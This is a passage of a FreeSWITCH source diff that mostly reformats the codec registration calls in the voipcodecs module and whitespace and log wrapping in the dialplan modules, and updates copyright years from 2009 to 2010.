SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
122, /* the IANA code number */
|
||||
"G726-32", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
122, /* the IANA code number */
|
||||
"G726-32", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
/* Increase encoded bytes per frame by 10 */
|
||||
ebpf = ebpf + 10;
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 40k (AAL2)");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
121, /* the IANA code number */
|
||||
"AAL2-G726-40", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
40000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
121, /* the IANA code number */
|
||||
"AAL2-G726-40", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
40000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 40k");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
121, /* the IANA code number */
|
||||
"G726-40", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
40000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
121, /* the IANA code number */
|
||||
"G726-40", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
40000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
/* G722 */
|
||||
mpf = 10000, spf = 80, bpf = 320, ebpf = 80;
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.722");
|
||||
for (count = 6; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
9, /* the IANA code number */
|
||||
"G722", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_g722_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g722_encode, /* function to encode raw data into encoded data */
|
||||
switch_g722_decode, /* function to decode encoded data into raw data */
|
||||
switch_g722_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
9, /* the IANA code number */
|
||||
"G722", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_g722_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g722_encode, /* function to encode raw data into encoded data */
|
||||
switch_g722_decode, /* function to decode encoded data into raw data */
|
||||
switch_g722_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
|
||||
#ifdef ENABLE_G711
|
||||
@@ -881,48 +869,44 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_voipcodecs_load)
|
||||
mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.711 ulaw");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
0, /* the IANA code number */
|
||||
"PCMU", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_g711u_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g711u_encode, /* function to encode raw data into encoded data */
|
||||
switch_g711u_decode, /* function to decode encoded data into raw data */
|
||||
switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
0, /* the IANA code number */
|
||||
"PCMU", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_g711u_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g711u_encode, /* function to encode raw data into encoded data */
|
||||
switch_g711u_decode, /* function to decode encoded data into raw data */
|
||||
switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.711 alaw");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
8, /* the IANA code number */
|
||||
"PCMA", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_g711a_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g711a_encode, /* function to encode raw data into encoded data */
|
||||
switch_g711a_decode, /* function to decode encoded data into raw data */
|
||||
switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
8, /* the IANA code number */
|
||||
"PCMA", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_g711a_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g711a_encode, /* function to encode raw data into encoded data */
|
||||
switch_g711a_decode, /* function to decode encoded data into raw data */
|
||||
switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -930,47 +914,44 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_voipcodecs_load)
|
||||
mpf = 20000, spf = 160, bpf = 320, ebpf = 33;
|
||||
SWITCH_ADD_CODEC(codec_interface, "GSM");
|
||||
for (count = 6; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
3, /* the IANA code number */
|
||||
"GSM", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
13200, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count, /* number of frames per network packet */
|
||||
switch_gsm_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_gsm_encode, /* function to encode raw data into encoded data */
|
||||
switch_gsm_decode, /* function to decode encoded data into raw data */
|
||||
switch_gsm_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
3, /* the IANA code number */
|
||||
"GSM", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
13200, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count, /* number of frames per network packet */
|
||||
switch_gsm_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_gsm_encode, /* function to encode raw data into encoded data */
|
||||
switch_gsm_decode, /* function to decode encoded data into raw data */
|
||||
switch_gsm_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
/* LPC10 */
|
||||
#if SWITCH_MAX_INTERVAL >= 90
|
||||
SWITCH_ADD_CODEC(codec_interface, "LPC-10");
|
||||
switch_core_codec_add_implementation(pool, codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
7, /* the IANA code number */
|
||||
"LPC", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
2400, /* bits transferred per second */
|
||||
90000, /* number of microseconds per frame */
|
||||
720, /* number of samples per frame */
|
||||
1440, /* number of bytes per frame decompressed */
|
||||
28, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
4, /* number of frames per network packet */
|
||||
switch_lpc10_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_lpc10_encode, /* function to encode raw data into encoded data */
|
||||
switch_lpc10_decode, /* function to decode encoded data into raw data */
|
||||
switch_lpc10_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
7, /* the IANA code number */
|
||||
"LPC", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
2400, /* bits transferred per second */
|
||||
90000, /* number of microseconds per frame */
|
||||
720, /* number of samples per frame */
|
||||
1440, /* number of bytes per frame decompressed */
|
||||
28, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
4, /* number of frames per network packet */
|
||||
switch_lpc10_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_lpc10_encode, /* function to encode raw data into encoded data */
|
||||
switch_lpc10_decode, /* function to decode encoded data into raw data */
|
||||
switch_lpc10_destroy); /* deinitalize a codec handle using this implementation */
|
||||
#endif
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -297,14 +297,16 @@ SWITCH_STANDARD_DIALPLAN(asterisk_dialplan_hunt)
|
||||
switch_endpoint_interface_t *sip_endpoint_interface;
|
||||
static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
switch_io_routines_t sip_io_routines = {
|
||||
/*.outgoing_channel */ sip_outgoing_channel
|
||||
};
|
||||
|
||||
static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
const char *profile;
|
||||
|
||||
@@ -331,14 +333,16 @@ static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session,
|
||||
switch_endpoint_interface_t *iax2_endpoint_interface;
|
||||
static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
switch_io_routines_t iax2_io_routines = {
|
||||
/*.outgoing_channel */ iax2_outgoing_channel
|
||||
};
|
||||
|
||||
static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
UNPROTECT_INTERFACE(iax2_endpoint_interface);
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -150,7 +150,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_dialplan_directory_shutdown)
|
||||
switch_safe_free(globals.dn);
|
||||
switch_safe_free(globals.pass);
|
||||
switch_safe_free(globals.base);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -161,7 +161,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dialplan_directory_load)
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
load_config();
|
||||
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
SWITCH_ADD_DIALPLAN(dp_interface, "directory", directory_dialplan_hunt);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -72,10 +72,10 @@ static switch_status_t exec_app(switch_core_session_t *session, const char *app,
|
||||
|
||||
switch_core_session_exec(session, application_interface, arg);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
|
||||
UNPROTECT_INTERFACE(application_interface);
|
||||
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
@@ -100,7 +100,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
int ovector[30];
|
||||
switch_bool_t anti_action = SWITCH_TRUE;
|
||||
break_t do_break_i = BREAK_ON_FALSE;
|
||||
|
||||
|
||||
const char *xyear = switch_xml_attr(xcond, "year");
|
||||
const char *xyday = switch_xml_attr(xcond, "yday");
|
||||
const char *xmon = switch_xml_attr(xcond, "mon");
|
||||
@@ -125,7 +125,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
}
|
||||
|
||||
switch_time_exp_lt(&tm, ts);
|
||||
|
||||
|
||||
if (time_match && xyear) {
|
||||
int test = tm.tm_year + 1900;
|
||||
time_match = switch_number_cmp(xyear, test);
|
||||
@@ -164,7 +164,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
if (time_match && xmweek) {
|
||||
/* calculate the day of the week of the first of the month (0-6) */
|
||||
int firstdow = (int) (7 - (tm.tm_mday - (tm.tm_wday + 1)) % 7) % 7;
|
||||
/* calculate the week of the month (1-6)*/
|
||||
/* calculate the week of the month (1-6) */
|
||||
int test = (int) ceil((tm.tm_mday + firstdow) / 7.0);
|
||||
time_match = switch_number_cmp(xmweek, test);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
@@ -198,7 +198,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: minute of day[%d] =~ %s (%s)\n", test, xminday, time_match ? "PASS" : "FAIL");
|
||||
}
|
||||
|
||||
|
||||
field = (char *) switch_xml_attr(xcond, "field");
|
||||
|
||||
if ((xexpression = switch_xml_child(xcond, "expression"))) {
|
||||
@@ -229,13 +229,13 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
|
||||
if (time_match == 1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
|
||||
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
|
||||
"Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
|
||||
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
|
||||
anti_action = SWITCH_FALSE;
|
||||
} else if (time_match == 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
|
||||
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
|
||||
"Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
|
||||
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
|
||||
}
|
||||
|
||||
if (field) {
|
||||
@@ -252,21 +252,20 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
if (!field_data) {
|
||||
field_data = "";
|
||||
}
|
||||
|
||||
|
||||
if ((proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
|
||||
switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
|
||||
anti_action = SWITCH_FALSE;
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
|
||||
switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
|
||||
}
|
||||
} else if (time_match == -1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Absolute Condition [%s]\n",
|
||||
switch_channel_get_name(channel), exten_name);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Absolute Condition [%s]\n", switch_channel_get_name(channel), exten_name);
|
||||
anti_action = SWITCH_FALSE;
|
||||
}
|
||||
|
||||
@@ -275,7 +274,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
const char *application = switch_xml_attr_soft(xaction, "application");
|
||||
const char *data;
|
||||
const char *inline_ = switch_xml_attr_soft(xaction, "inline");
|
||||
int xinline = switch_true(inline_);
|
||||
int xinline = switch_true(inline_);
|
||||
|
||||
if (!zstr(xaction->txt)) {
|
||||
data = xaction->txt;
|
||||
@@ -284,8 +283,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s ANTI-Action %s(%s) %s\n",
|
||||
switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
|
||||
"Dialplan: %s ANTI-Action %s(%s) %s\n", switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
|
||||
|
||||
if (!*extension) {
|
||||
if ((*extension = switch_caller_extension_new(session, exten_name, caller_profile->destination_number)) == 0) {
|
||||
@@ -340,9 +338,8 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
}
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Action %s(%s) %s\n",
|
||||
switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s Action %s(%s) %s\n", switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
|
||||
|
||||
|
||||
if (xinline) {
|
||||
@@ -356,9 +353,8 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
}
|
||||
switch_regex_safe_free(re);
|
||||
|
||||
if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
|
||||
(anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) ||
|
||||
do_break_i == BREAK_ALWAYS) {
|
||||
if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
|
||||
(anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) || do_break_i == BREAK_ALWAYS) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -370,7 +366,8 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
|
||||
return proceed;
|
||||
}
|
||||
|
||||
static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root, switch_xml_t *node)
|
||||
static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root,
|
||||
switch_xml_t *node)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_status_t status = SWITCH_STATUS_GENERR;
|
||||
@@ -457,8 +454,8 @@ SWITCH_STANDARD_DIALPLAN(dialplan_hunt)
|
||||
exten_name = "UNKNOWN";
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s parsing [%s->%s] continue=%s\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
|
||||
"Dialplan: %s parsing [%s->%s] continue=%s\n",
|
||||
switch_channel_get_name(channel), caller_profile->context, exten_name, cont ? cont : "false");
|
||||
|
||||
proceed = parse_exten(session, caller_profile, xexten, &extension);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
